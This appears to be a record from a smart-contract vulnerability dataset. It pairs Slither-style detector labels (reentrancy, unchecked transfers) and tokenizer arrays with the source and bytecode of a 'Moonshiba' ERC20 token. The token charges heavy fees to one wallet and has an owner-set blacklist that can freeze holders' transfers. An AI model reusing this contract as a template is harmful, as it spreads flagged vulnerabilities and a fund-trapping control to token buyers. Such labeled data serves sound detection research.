082019050818103600083015261581981614cdc565b9050919050565b6000602082019050818103600083015261583981614d1c565b9050919050565b6000602082019050818103600083015261585981614d82565b9050919050565b6000602082019050818103600083015261587981614de8565b9050919050565b6000602082019050818103600083015261589981614e28565b9050919050565b600060208201905081810360008301526158b981614e8e565b9050919050565b600060208201905081810360008301526158d981614ef4565b9050919050565b600060208201905081810360008301526158f981614f34565b9050919050565b6000602082019050818103600083015261591981614f9a565b9050919050565b6000602082019050818103600083015261593981614fda565b9050919050565b6000602082019050818103600083015261595981615040565b9050919050565b6000602082019050818103600083015261597981615080565b9050919050565b60006020820190508181036000830152615999816150e6565b9050919050565b600060208201905081810360008301526159b98161514c565b9050919050565b600060208201905081810360008301526159d98161518c565b9050919050565b600060208201905081810360008301526159f9816151f2565b9050919050565b60006020820190508181036000830152615a1981615258565b9050919050565b60006020820190508181036000830152615a3981615298565b9050919050565b60006020820190508181036000830152615a59816152d8565b9050919050565b60006020820190508181036000830152615a798161533e565b9050919050565b60006020820190508181036000830152615a9981615398565b9050919050565b60006020820190508181036000830152615ab9816153fe565b9050919050565b60006020820190508181036000830152615ad98161543e565b9050919050565b6000602082019050615af5600083018461548d565b92915050565b6000604082019050615b10600083018561548d565b615b1d60208301846146cb565b9392505050565b6000604082019050615b39600083018561548d565b8181036020830152615b4b818461491a565b90509392505050565b6000604051905081810181811067ffffffffffffffff82111715615b7757600080fd5b8060405250919050565b600067ffffffffffffffff821115615b9857600080fd5b602082029050602081019050919050565b600067ffffffffffffffff821115615bc057600080fd5b602082029050602081019050919050565b600067ffffffffffffffff821115615be857600080fd5b601f19601f8301169050602081019050919050565b600067ffffffffffffffff821115615c1457600080fd5b601f19601f8301169050602081019050919050565b6000819050602082019050919050565b6000819050602082019050919050565b60008190508160005260206000209050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b6000615d1a82615d75565b9050919050565b6000615d2c82615d75565b9050919050565b60008115159050919050565b6000819050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b6000615daa82615dc3565b9050919050565b6000615dbc82615d95565b9050919050565b6000615dce82615dd5565b9050919050565b6000615de082615d75565b9050919050565b82818337600083830152505050565b60005b83811015615e14578082015181840152602081019050615df9565b83811115615e23576000848401525b50505050565b6000601f19601f8301169050919050565b615e4381615d0f565b8114615e4e57600080fd5b50565b615e5a81615d33565b8114615e6557600080fd5b50565b615e7181615d3f565b8114615e7c57600080fd5b50565b615e8881615d49565b8114615e9357600080fd5b50565b615e9f81615d95565b8114615eaa57600080fd5b5056fe4552433732313a207472616e7366657220746f206e6f6e20455243373231526563656976657220696d706c656d656e7465724552433732313a206f776e657220717565727920666f72206e6f6e6578697374656e7420746f6b656ea2646970667358221220904b1a23afb19ac8c4287d476faec52d6c579470c4849ce4af273b28af1f377064736f6c63430007000033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-lowlevel", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unchecked-lowlevel', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 17788, 2549, 2050, 2620, 2050, 21057, 16048, 16576, 27717, 29097, 2094, 2487, 29292, 2487, 2546, 23833, 2497, 2620, 2487, 2278, 8889, 7875, 10322, 19481, 2497, 2094, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1021, 1012, 1014, 1025, 10975, 8490, 2863, 6388, 11113, 9013, 16044, 2099, 2615, 2475, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 2581, 17465, 1013, 9413, 2278, 2581, 17465, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 8785, 1013, 3647, 18900, 2232, 1012, 14017, 1000, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,672
0x97258b6b9036d06dd4578a2992b7a3735ed7cf7c
// SPDX-License-Identifier: MIT pragma solidity ^0.8.5; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Moonshiba is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Moonshiba"; string private constant _symbol = "Moonshiba"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0xd8f2716Ba4377FA741bFD923f46D38B06A16Ef40); _feeAddrWallet2 = payable(0xd8f2716Ba4377FA741bFD923f46D38B06A16Ef40); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 8; _feeAddr2 = 9; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 9; _feeAddr2 = 8; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 10000000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb1461031c578063b515566a14610359578063c3c8cd8014610382578063c9567bf914610399578063dd62ed3e146103b057610109565b806370a0823114610272578063715018a6146102af5780638da5cb5b146102c657806395d89b41146102f157610109565b8063273123b7116100d1578063273123b7146101de578063313ce567146102075780635932ead1146102325780636fc3eaec1461025b57610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103ed565b6040516101309190612a79565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b91906125f3565b61042a565b60405161016d9190612a5e565b60405180910390f35b34801561018257600080fd5b5061018b610448565b6040516101989190612bdb565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c391906125a0565b61045a565b6040516101d59190612a5e565b60405180910390f35b3480156101ea57600080fd5b5061020560048036038101906102009190612506565b610533565b005b34801561021357600080fd5b5061021c610623565b6040516102299190612c50565b60405180910390f35b34801561023e57600080fd5b506102596004803603810190610254919061267c565b61062c565b005b34801561026757600080fd5b506102706106de565b005b34801561027e57600080fd5b5061029960048036038101906102949190612506565b610750565b6040516102a69190612bdb565b60405180910390f35b3480156102bb57600080fd5b506102c46107a1565b005b3480156102d257600080fd5b506102db6108f4565b6040516102e89190612990565b60405180910390f35b3480156102fd57600080fd5b5061030661091d565b6040516103139190612a79565b60405180910390f35b34801561032857600080fd5b50610343600480360381019061033e91906125f3565b61095a565b6040516103509190612a5e565b60405180910390f35b34801561036557600080fd5b50610380600480360381019061037b9190612633565b610978565b005b34801561038e57600080fd5b50610397610aa2565b005b3480156103a557600080fd5b506103ae610b1c565b005b3480156103bc57600080fd5b506103d760048036038101906103d29190612560565b61107d565b6040516103e49190612bdb565b60405180910390f35b60606040518060400160405280600981526020017f4d6f6f6e73686962610000000000000000000000000000000000000000000000815250905090565b600061043e610437611104565b848461110c565b6001905092915050565b600069d3c21bcecceda1000000905090565b60006104678484846112d7565b61052884610473611104565b6105238560405180606001604052806028815260200161330560289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104d9611104565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118dc9092919063ffffffff16565b61110c565b600190509392505050565b61053b611104565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105bf90612b3b565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610634611104565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106b890612b3b565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661071f611104565b73ffffffffffffffffffffffffffffffffffffffff161461073f57600080fd5b600047905061074d81611940565b50565b600061079a600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a3b565b9050919050565b6107a9611104565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610836576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082d90612b3b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f4d6f6f6e73686962610000000000000000000000000000000000000000000000815250905090565b600061096e610967611104565b84846112d7565b6001905092915050565b610980611104565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0490612b3b565b60405180910390fd5b60005b8151811015610a9e57600160066000848481518110610a3257610a31612f98565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610a9690612ef1565b915050610a10565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ae3611104565b73ffffffffffffffffffffffffffffffffffffffff1614610b0357600080fd5b6000610b0e30610750565b9050610b1981611aa9565b50565b610b24611104565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bb1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba890612b3b565b60405180910390fd5b600f60149054906101000a900460ff1615610c01576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf890612bbb565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610c9230600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1669d3c21bcecceda100000061110c565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cd857600080fd5b505afa158015610cec573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d109190612533565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d7257600080fd5b505afa158015610d86573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610daa9190612533565b6040518363ffffffff1660e01b8152600401610dc79291906129ab565b602060405180830381600087803b158015610de157600080fd5b505af1158015610df5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e199190612533565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ea230610750565b600080610ead6108f4565b426040518863ffffffff1660e01b8152600401610ecf969594939291906129fd565b6060604051808303818588803b158015610ee857600080fd5b505af1158015610efc573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f2191906126d6565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506b204fce5e3e250261100000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016110279291906129d4565b602060405180830381600087803b15801561104157600080fd5b505af1158015611055573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107991906126a9565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117390612b9b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e390612adb565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112ca9190612bdb565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611347576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133e90612b7b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ae90612a9b565b60405180910390fd5b600081116113fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f190612b5b565b60405180910390fd5b6008600a819055506009600b819055506114126108f4565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561148057506114506108f4565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156118cc57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156115295750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61153257600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156115dd5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116335750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561164b5750600f60179054906101000a900460ff165b156116fb5760105481111561165f57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106116aa57600080fd5b603c426116b79190612d11565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156117a65750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117fc5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611812576009600a819055506008600b819055505b600061181d30610750565b9050600f60159054906101000a900460ff1615801561188a5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156118a25750600f60169054906101000a900460ff165b156118ca576118b081611aa9565b600047905060008111156118c8576118c747611940565b5b505b505b6118d7838383611d31565b505050565b6000838311158290611924576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191b9190612a79565b60405180910390fd5b50600083856119339190612df2565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611990600284611d4190919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156119bb573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a0c600284611d4190919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611a37573d6000803e3d6000fd5b5050565b6000600854821115611a82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7990612abb565b60405180910390fd5b6000611a8c611d8b565b9050611aa18184611d4190919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ae157611ae0612fc7565b5b604051908082528060200260200182016040528015611b0f5781602001602082028036833780820191505090505b5090503081600081518110611b2757611b26612f98565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611bc957600080fd5b505afa158015611bdd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c019190612533565b81600181518110611c1557611c14612f98565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611c7c30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461110c565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611ce0959493929190612bf6565b600060405180830381600087803b158015611cfa57600080fd5b505af1158015611d0e573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611d3c838383611db6565b505050565b6000611d8383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611f81565b905092915050565b6000806000611d98611fe4565b91509150611daf8183611d4190919063ffffffff16565b9250505090565b600080600080600080611dc887612049565b955095509550955095509550611e2686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120b190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019